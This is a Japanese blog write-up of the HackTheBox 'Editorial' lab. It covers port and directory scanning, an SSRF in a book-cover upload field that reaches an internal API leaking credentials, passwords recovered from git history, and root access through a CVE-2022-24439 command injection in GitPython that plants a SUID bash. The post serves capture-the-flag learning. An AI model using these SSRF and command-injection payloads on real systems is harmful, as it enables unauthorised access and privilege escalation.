0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Editorial:Writeup

Posted at

概要

HackTheBox「Editorial」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.20 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp    open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0

ホスト名が分かったので/etc/hostsへ追加しWebページにアクセスします。

10.10.11.20     editorial.htb

ディレクトリの列挙を行います。

$ dirsearch -u http://editorial.htb/
[01:44:52] 200 -    3KB - /about
[01:46:37] 200 -    7KB - /upload

サブドメインの列挙を行いましたが、見つかりませんでした。

$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.editorial.htb" -u http://editorial.htb -fs 178

/uploadでファイルをアップロード出来るので脆弱性を探します。

upload page.png

/uploadでPOSTリクエストを送信できますが、特徴的な変化は見られませんでした。
/uploadのソースコードを見ると、スクリプトを発見しました。

<script>
  document.getElementById('button-cover').addEventListener('click', function(e) {
    e.preventDefault();
    var formData = new FormData(document.getElementById('form-cover'));
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/upload-cover');
    xhr.onload = function() {
      if (xhr.status === 200) {
        var imgUrl = xhr.responseText;
        console.log(imgUrl);
        document.getElementById('bookcover').src = imgUrl;

        document.getElementById('bookfile').value = '';
        document.getElementById('bookurl').value = '';
      }
    };
    xhr.send(formData);
  });
</script>

Cover URL~の部分に画像のURLを挿入し右のPreviewボタンをクリックすると、URLへリクエストが飛び、/static/uploads配下にファイルを保存し、imgタグで画像が表示されると分かりました。

  • Kali側のアクセスログ
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [12/Jul/2024 03:54:40] "GET /5iW7kC8.jpg HTTP/1.1" 200 -
  • プレビューのリクエストとレスポンス

upload file.jpg

  • リクエストした画像の表示

book cover.jpg

  • imgタグで/static/uploadsを参照している

html source.jpg

同様の手順でターゲットマシンのローカルへリクエストを送ることもできると分かりました。

local book cover.jpg

SSRFの脆弱性があるかもしれません。
オープンなポートをブルートフォースで見つけます。

SSRF port.jpg

Burpの無料版では時間がかかるのでFFUFを使用します。
まず、リクエストの内容をファイルに保存します。

request.txt
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------35607274802097688835196443196
Content-Length: 408
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------35607274802097688835196443196
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------35607274802097688835196443196
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------35607274802097688835196443196--

フィルタリングを適宜使用し、FFUFを実行します。

$ ffuf -c -w port.txt -request request.txt -u http://editorial.htb/upload-cover -fs 61
5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 287ms]

5000番ポートが見つかりました。
リクエストを送信するとパスが返ってきました。

request 5000 port.jpg

そのパスへGETリクエストを送信するとメッセージが返ってきました。

ssrf success.jpg

$ cat message.txt | jq
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

/api/latest/metadata/messages/authorsのエンドポイントが怪しいです。
リクエストを送信します。

auth endpoint.jpg

パスが返ってきたのでアクセスするとユーザー名やパスワードが返ってきました。

get pass username.jpg

{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."                                                                               
}

Username: dev,Password: dev080217_devAPI!@でSSH接続に成功しました。

$ ssh dev@Editorial.htb
dev@editorial:~$

/home/dev/user.txtからユーザーフラグを入手できます。

/home/dev/user.txt
e035b8f2832089942120f97162787ea8

Root Flag

linpeasをKaliからダウンロードし、実行します。

$ ./linpeas.sh > result.txt

しかし興味深いものは見つかりませんでした。

/homeからprodアカウントを発見しました。
prodアカウントへの展開が必要かもしれません。

$ ls -l /home
total 8
drwxr-x--- 5 dev  dev  4096 Jul 12 11:53 dev
drwxr-x--- 6 prod prod 4096 Jul 12 11:54 prod

/home/dev/apps/を確認すると.gitフォルダを発見しました。

$ ls -la apps/
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 5 dev dev 4096 Jul 12 11:53 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git

git logで変更履歴を確認するとdowngrading prod to devという興味深い履歴を発見しました。

$ git log

(省略)

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

git showで変更箇所を見るとprodアカウントのクレデンシャル情報を発見しました。

$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae

(省略)

-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."

prodアカウントに入ります。

$ su prod
Password: 
prod@editorial:/home/dev$

sudo -lで確認すると/opt/internal_apps/clone_changes/clone_prod_change.pyを発見しました。

$ sudo -l
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

/opt/internal_apps/clone_changes/clone_prod_change.pyの内容を確認します。

/opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

このコードでは、指定したURLのリポジトリを/opt/internal_apps/clone_changesへクローンしています。

gitのpythonモジュールをインポートしているのでバージョンを確認します。

$ pip3 list | grep -i "git"
gitdb                 4.0.10
GitPython             3.1.29

調べるとGitPython 3.1.29にはCVE-2022-24439の脆弱性があると分かりました。

下記のリポジトリを参考にします。

脆弱性を悪用できるか確かめます。

$ /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'

root権限でファイルが作成されているのを確認できました。

$ ls -l
-rw-r--r-- 1 root root      0 Jul 12 09:37 pwned

シェルをコピーしてSUIDをセットしrootのシェルを起動します。

$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash'
$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /tmp/bash'
$ ls -l
total 1388
-rwsr-xr-x 1 root root 1396520 Jul 12 12:54 bash

rootのシェルを得られました。

$ /tmp/bash -p
bash-5.1# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt
ecf8d83aba4a48bb79c9c7fc1704e715
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?